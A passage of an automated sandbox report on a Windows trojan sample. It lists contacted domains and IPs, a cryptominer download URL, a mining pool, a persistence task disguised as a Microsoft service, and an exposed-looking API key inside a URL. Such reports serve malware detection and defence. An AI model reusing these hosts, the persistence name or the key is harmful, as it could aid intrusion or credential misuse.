9.2.WerFault.exe.4980000.7.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://yearofthepig.top/M	0%	Avira URL Cloud	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
https://yearofthepig.top/	0%	Avira URL Cloud	safe
https://tlgr.org/img/t_logo.png	0%	Avira URL Cloud	safe
https://yearofthepig.top/P	0%	Avira URL Cloud	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://94.103.94.2/miner_scrooges.exe	0%	Avira URL Cloud	safe
https://yearofthepig.top/error.php	0%	Avira URL Cloud	safe
https://yearofthepig.top//l/f/lxwhzncBuI_ccNKoCuGJ/b7b57553476201d30df84e5e9cd9e955ae47aaaf	0%	Avira URL Cloud	safe
https://yearofthepig.top//l/f/lxwhzncBuI_ccNKoCuGJ/ff3e513855a6f44e51c42364424f5f0065547d181	0%	Avira URL Cloud	safe
https://yearofthepig.top//l/f/lxwhzncBuI_ccNKoCuGJ/ff3e513855a6f44e51c42364424f5f0065547d18	0%	Avira URL Cloud	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=3005540662929;gt	0%	Avira URL Cloud	safe
http://r3.i.lencr.org/0#	0%	Avira URL Cloud	safe
https://tttttt.me/h_scroogenews_1	0%	Avira URL Cloud	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://94.103.94.2/miner_scrooges.exe201d	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tttttt.me	95.216.186.40	true	false	unknown
yearofthepig.top	104.21.50.15	true	false	unknown
iplogger.org	88.99.66.31	true	false	high
pool.minexmr.com	51.254.84.37	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://94.103.94.2/miner_scrooges.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RYwTiizs2t.2.dr	false		high
http://www.mozilla.com/en-US/blocklist/	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667327807.000000006F409000.00000002.00020000.sdmp	false		high
https://duckduckgo.com/ac/?q=	RYwTiizs2t.2.dr	false		high
https://yearofthepig.top/M	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.644887582.0000000000BD3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.letsencrypt.org0	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://yearofthepig.top/	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.644887582.0000000000BD3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://tlgr.org/img/t_logo.png	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://yearofthepig.top/P	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.mozilla.com0	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RYwTiizs2t.2.dr	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	RYwTiizs2t.2.dr	false		high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=9774759596232;g	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663596917.0000000000BA2000.00000004.00000001.sdmp	false		high
https://yearofthepig.top/error.php	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=7859736	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.628092792.0000000000C31000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663634418.0000000000BC6000.00000004.00000001.sdmp	false		high
https://yearofthepig.top//l/f/lxwhzncBuI_ccNKoCuGJ/b7b57553476201d30df84e5e9cd9e955ae47aaaf	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594468632.0000000000BC6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	RYwTiizs2t.2.dr	false		high
https://yearofthepig.top//l/f/lxwhzncBuI_ccNKoCuGJ/ff3e513855a6f44e51c42364424f5f0065547d181	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.628016845.0000000000BD3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	false		high
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.628016845.0000000000BD3000.00000004.00000001.sdmp	false		high
https://yearofthepig.top//l/f/lxwhzncBuI_ccNKoCuGJ/ff3e513855a6f44e51c42364424f5f0065547d18	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://r3.o.lencr.org0	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=3005540662929;gt	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RYwTiizs2t.2.dr	false		high
http://r3.i.lencr.org/0#	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://tttttt.me/h_scroogenews_1	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663596917.0000000000BA2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	sqlite3.dll.2.dr	false		high
http://cps.root-x1.letsencrypt.org0	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RYwTiizs2t.2.dr	false		high
http://94.103.94.2/miner_scrooges.exe201d	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
95.216.186.40	unknown	Germany	24940	HETZNER-ASDE	false
104.21.50.15	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.199.58	unknown	United States	13335	CLOUDFLARENETUS	false
94.103.94.2	unknown	Russian Federation	48282	VDSINA-ASRU	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	356541
Start date:	23.02.2021
Start time:	10:01:34
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.troj.spyw.evad.winEXE@11/101@6/4
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 96 Number of non-executed functions: 70
Cookbook Comments:	Adjust boot time Enable AMSI Sleeps bigger than 120000ms are automatically reduced to 1000ms Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WerFault.exe, wermgr.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 92.122.145.220, 104.43.193.48, 104.42.151.234, 52.255.188.83, 51.11.168.160, 92.122.213.247, 92.122.213.194, 2.20.142.210, 2.20.142.209, 8.253.204.121, 8.253.95.121, 8.248.147.254, 8.248.115.254, 8.253.95.120, 40.88.32.150, 51.103.5.159, 52.155.217.156, 20.54.26.129, 184.30.20.56, 104.43.139.144, 13.64.90.137, 168.61.161.212 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, vip1-par02p.wns.notify.trafficmanager.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, wns.notify.trafficmanager.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, auto.au.download.windowsupdate.com.c.footprint.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, client.wns.windows.com, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, skypedataprdcolcus17.cloudapp.net, a767.dscg3.akamai.net, skypedataprdcolcus16.cloudapp.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:05:01	Task Scheduler	Run new task: Windows Service Microsoft Corporation path: C:\Users\user\AppData\Roaming\Windows\RantimeBroker.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
95.216.186.40	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKDZ.73123.31244.exe	Get hash	malicious	Browse
	mDxyEfHSMs.exe	Get hash	malicious	Browse
	xytEWWD2QN.exe	Get hash	malicious	Browse
	itqFYYnm5j.exe	Get hash	malicious	Browse
104.21.50.15	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKDZ.73123.31244.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetectGBM.malware.02.16429.exe	Get hash	malicious	Browse
172.67.199.58	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
yearofthepig.top	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse	104.21.50.15
	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Get hash	malicious	Browse	172.67.199.58
	SecuriteInfo.com.Trojan.GenericKDZ.73123.31244.exe	Get hash	malicious	Browse	104.21.50.15
	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse	104.21.50.15
	SecuriteInfo.com.W32.AIDetectGBM.malware.02.16429.exe	Get hash	malicious	Browse	104.21.50.15
pool.minexmr.com	SecuriteInfo.com.Variant.Zusy.368685.25618.exe	Get hash	malicious	Browse	51.68.21.186
	8WjU4jrBIr.exe	Get hash	malicious	Browse	178.32.120.127
	8TD8GfTtaW.exe	Get hash	malicious	Browse	51.68.21.186
	SecuriteInfo.com.Trojan.GenericKD.36263712.6524.exe	Get hash	malicious	Browse	51.68.21.186
	setup.exe	Get hash	malicious	Browse	88.99.242.92
	http://pool.minexmr.com	Get hash	malicious	Browse	37.59.43.131
	zYdy1cpRuU.exe	Get hash	malicious	Browse	94.130.164.163
	https://www.virustotal.com/intelligence/download/?hash=4421542644e8da5441e459375b2c10c9&apikey=04dbea4d5ec7f083f728ab042e9a0ad9746d1e3b2f8fcd58f94e366d8c19cb7e	Get hash	malicious	Browse	94.130.165.87
	pc	Get hash	malicious	Browse	88.99.242.92
	pc	Get hash	malicious	Browse	88.99.193.240
	build.exe	Get hash	malicious	Browse	37.59.44.193
	psy.exe	Get hash	malicious	Browse	88.99.193.240
	file	Get hash	malicious	Browse	37.59.54.205
	malicious.sh	Get hash	malicious	Browse	37.59.55.60
	sa.exe	Get hash	malicious	Browse	37.59.55.60
	sa.exe	Get hash	malicious	Browse	37.59.44.193
	s3.exe	Get hash	malicious	Browse	94.130.165.87
	lpoe.exe	Get hash	malicious	Browse	37.59.55.60
	PLJwGUVms.exe	Get hash	malicious	Browse	178.63.48.196
	http://118.184.31.215/9.exe	Get hash	malicious	Browse	176.9.53.68
tttttt.me	SecuriteInfo.com.Trojan.GenericKDZ.73123.31244.exe	Get hash	malicious	Browse	95.216.186.40
	mDxyEfHSMs.exe	Get hash	malicious	Browse	95.216.186.40
	xytEWWD2QN.exe	Get hash	malicious	Browse	95.216.186.40
	itqFYYnm5j.exe	Get hash	malicious	Browse	95.216.186.40
iplogger.org	SecuriteInfo.com.Variant.Zusy.368685.25618.exe	Get hash	malicious	Browse	88.99.66.31
	8WjU4jrBIr.exe	Get hash	malicious	Browse	88.99.66.31
	8TD8GfTtaW.exe	Get hash	malicious	Browse	88.99.66.31
	ydQ0ICWj5v.exe	Get hash	malicious	Browse	88.99.66.31
	r4yGYPyWb7.exe	Get hash	malicious	Browse	88.99.66.31
	aif9fEvN5g.exe	Get hash	malicious	Browse	88.99.66.31
	bZ9avvcHvE.exe	Get hash	malicious	Browse	88.99.66.31
	CmJ6qDTzvM.exe	Get hash	malicious	Browse	88.99.66.31
	RRLrVfeAXb.exe	Get hash	malicious	Browse	88.99.66.31
	m3eJIFyc68.exe	Get hash	malicious	Browse	88.99.66.31
	m8kdtboA0T.exe	Get hash	malicious	Browse	88.99.66.31
	jdAbDsECEE.exe	Get hash	malicious	Browse	88.99.66.31
	m8kdtboA0T.exe	Get hash	malicious	Browse	88.99.66.31
	IVCkMokXk8.exe	Get hash	malicious	Browse	88.99.66.31
	i9WK2pIYWG.exe	Get hash	malicious	Browse	88.99.66.31
	lN88E1DBPh.exe	Get hash	malicious	Browse	88.99.66.31
	ytzSlmHDlM.exe	Get hash	malicious	Browse	88.99.66.31
	kxyCBy3FFg.exe	Get hash	malicious	Browse	88.99.66.31
	wUuUI2RCLy.exe	Get hash	malicious	Browse	88.99.66.31
	ZdoKPPy5Jd.exe	Get hash	malicious	Browse	88.99.66.31

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	PRICE LIST (NOVEMBER 2020).exe	Get hash	malicious	Browse	104.21.71.230
	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse	104.21.50.15
	A4-058000200390-10-14_REV_pdf.exe	Get hash	malicious	Browse	104.21.71.230
	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Get hash	malicious	Browse	172.67.199.58
	SecuriteInfo.com.Trojan.GenericKDZ.73123.31244.exe	Get hash	malicious	Browse	104.21.50.15
	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse	104.21.50.15
	v2.exe	Get hash	malicious	Browse	172.67.188.154
	Purchase_order_397484658464974945648447564845.exe	Get hash	malicious	Browse	104.21.71.230
	0603321WG_0_1 pdf.exe	Get hash	malicious	Browse	172.67.172.17
	Payment_pdf.exe	Get hash	malicious	Browse	172.67.172.17
	8WjU4jrBIr.exe	Get hash	malicious	Browse	104.23.98.190
	RG6ws8jWUJ.exe	Get hash	malicious	Browse	172.67.172.17
	8TD8GfTtaW.exe	Get hash	malicious	Browse	104.23.99.190
	lpdKSOB78u.exe	Get hash	malicious	Browse	104.21.76.239
	VIws8bzjD5.exe	Get hash	malicious	Browse	172.67.172.17
	PURCHASE ITEMS.exe	Get hash	malicious	Browse	172.67.172.17
	Shipping Document PL&BL Draft.exe	Get hash	malicious	Browse	172.67.188.154
	CN-Invoice-XXXXX9808-19011143287992.exe	Get hash	malicious	Browse	172.67.172.17
	Halkbank_Ekstre_20210223_082357_541079.exe	Get hash	malicious	Browse	172.67.188.154
	quotation_PR # 00459182..exe	Get hash	malicious	Browse	172.67.172.17
CLOUDFLARENETUS	PRICE LIST (NOVEMBER 2020).exe	Get hash	malicious	Browse	104.21.71.230
	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse	104.21.50.15
	A4-058000200390-10-14_REV_pdf.exe	Get hash	malicious	Browse	104.21.71.230
	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Get hash	malicious	Browse	172.67.199.58
	SecuriteInfo.com.Trojan.GenericKDZ.73123.31244.exe	Get hash	malicious	Browse	104.21.50.15
	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse	104.21.50.15
	v2.exe	Get hash	malicious	Browse	172.67.188.154
	Purchase_order_397484658464974945648447564845.exe	Get hash	malicious	Browse	104.21.71.230
	0603321WG_0_1 pdf.exe	Get hash	malicious	Browse	172.67.172.17
	Payment_pdf.exe	Get hash	malicious	Browse	172.67.172.17
	8WjU4jrBIr.exe	Get hash	malicious	Browse	104.23.98.190
	RG6ws8jWUJ.exe	Get hash	malicious	Browse	172.67.172.17
	8TD8GfTtaW.exe	Get hash	malicious	Browse	104.23.99.190
	lpdKSOB78u.exe	Get hash	malicious	Browse	104.21.76.239
	VIws8bzjD5.exe	Get hash	malicious	Browse	172.67.172.17
	PURCHASE ITEMS.exe	Get hash	malicious	Browse	172.67.172.17
	Shipping Document PL&BL Draft.exe	Get hash	malicious	Browse	172.67.188.154
	CN-Invoice-XXXXX9808-19011143287992.exe	Get hash	malicious	Browse	172.67.172.17
	Halkbank_Ekstre_20210223_082357_541079.exe	Get hash	malicious	Browse	172.67.188.154
	quotation_PR # 00459182..exe	Get hash	malicious	Browse	172.67.172.17
HETZNER-ASDE	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.Variant.Zusy.368685.25618.exe	Get hash	malicious	Browse	88.99.66.31
	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Get hash	malicious	Browse	95.216.186.40
	SecuriteInfo.com.Trojan.GenericKDZ.73123.31244.exe	Get hash	malicious	Browse	95.216.186.40
	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse	195.201.225.248
	8WjU4jrBIr.exe	Get hash	malicious	Browse	94.130.165.85
	Quotation-Project at Hor Al Anz CAIRO_012245666.pdf.exe	Get hash	malicious	Browse	188.40.67.173
	8TD8GfTtaW.exe	Get hash	malicious	Browse	88.99.66.31
	Order_20180218001.exe	Get hash	malicious	Browse	135.181.57.206
	unmapped_executable_of_polyglot_duke.dll	Get hash	malicious	Browse	5.9.110.84
	DHL eInvoice_Pdf.exe	Get hash	malicious	Browse	195.201.179.80
	Subconract 504.xlsm	Get hash	malicious	Browse	95.216.245.130
	ydQ0ICWj5v.exe	Get hash	malicious	Browse	88.99.66.31
	r4yGYPyWb7.exe	Get hash	malicious	Browse	88.99.66.31
	aif9fEvN5g.exe	Get hash	malicious	Browse	88.99.66.31
	ProtonVPN.exe	Get hash	malicious	Browse	168.119.190.38
	bZ9avvcHvE.exe	Get hash	malicious	Browse	88.99.66.31
	CmJ6qDTzvM.exe	Get hash	malicious	Browse	88.99.66.31
	RFQ for Marjan Development Program.exe	Get hash	malicious	Browse	188.40.168.204
	RRLrVfeAXb.exe	Get hash	malicious	Browse	88.99.66.31

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	SecuriteInfo.com.Trojan.GenericKDZ.73123.31244.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	SecuriteInfo.com.Trojan.GenericKD.36273230.25906.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	proposal.xlsm	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	rieuro.dll	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	ydQ0ICWj5v.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	r4yGYPyWb7.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	aif9fEvN5g.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	bZ9avvcHvE.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	proposal.xlsm	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	CmJ6qDTzvM.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	124992436.docx	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	RRLrVfeAXb.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	m3eJIFyc68.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	SecuriteInfo.com.W32.AIDetectGBM.malware.02.16429.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	AswpCUetE0.doc	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	EIY2otZ3r8.doc	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	m8kdtboA0T.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58
	jdAbDsECEE.exe	Get hash	malicious	Browse	95.216.186.40 104.21.50.15 172.67.199.58

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleHandler.dll	SecuriteInfo.com.W32.AIDetectGBM.malware.02.16429.exe	Get hash	malicious	Browse
	mDxyEfHSMs.exe	Get hash	malicious	Browse
	A6Qom7We0l.exe	Get hash	malicious	Browse
	BHuuI8LETf.exe	Get hash	malicious	Browse
	m1hholPLan.exe	Get hash	malicious	Browse
	nyDyMJGKWD.exe	Get hash	malicious	Browse
	HA2a7FagC6.exe	Get hash	malicious	Browse
	MakYpSHZKE.exe	Get hash	malicious	Browse
	xytEWWD2QN.exe	Get hash	malicious	Browse
	itqFYYnm5j.exe	Get hash	malicious	Browse
	HDMInstaller.exe	Get hash	malicious	Browse
	zrmbk.exe	Get hash	malicious	Browse
	e7zQwqIDCO.exe	Get hash	malicious	Browse
	RddH6rLRfH.exe	Get hash	malicious	Browse
	4PDNbYK5fj.exe	Get hash	malicious	Browse
	pmTdQ57tvM.exe	Get hash	malicious	Browse
	7BtV39hziI.exe	Get hash	malicious	Browse
	dc4AaqW6Aa.exe	Get hash	malicious	Browse
	lAy87VNPiL.exe	Get hash	malicious	Browse
	97aa4Ywd9y.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_0382c331\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	12046
Entropy (8bit):	3.7692691280743746
Encrypted:	false
SSDEEP:	96:VUiK5+gQazwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1oVazWbSmf6X:WiqQt1H56rgjuSKUZ/u7sCS274ItAH
MD5:	235A21E7ECF028BF6DCC47096E342D57
SHA1:	2C1EACAA1455EDD06AFA7CB7CFC5E3133362F4BE
SHA-256:	2E846D38D0F5AA89EAF30B80A136CBE5DEBB55E2DB00D1241B1EB3AE65BAA3E8
SHA-512:	9954FF02BBE747A3F4E15D11DBD3BB77134A1AB0B5BB91A0D1B5EC86313BCCD6BBE96FCC19A7F47D2BEE6706D081DAC3F87C657151C6EAC81816891B49939ACB
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.8.5.7.6.9.4.8.5.7.8.6.4.2.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.6.6.e.0.2.4.1.-.a.b.d.5.-.4.8.7.d.-.b.9.7.b.-.d.5.5.4.3.7.e.8.4.e.8.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.1.0.5.d.0.e.9.-.4.1.5.0.-.4.a.8.9.-.8.f.9.b.-.e.1.e.e.f.b.3.b.3.3.f.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...1.9.1.7.0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.f.4.4.1.b.2.a.e.c.3.9.6.5.a.6.c.b.d.1.b.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.!.0.0.0.0.e.1.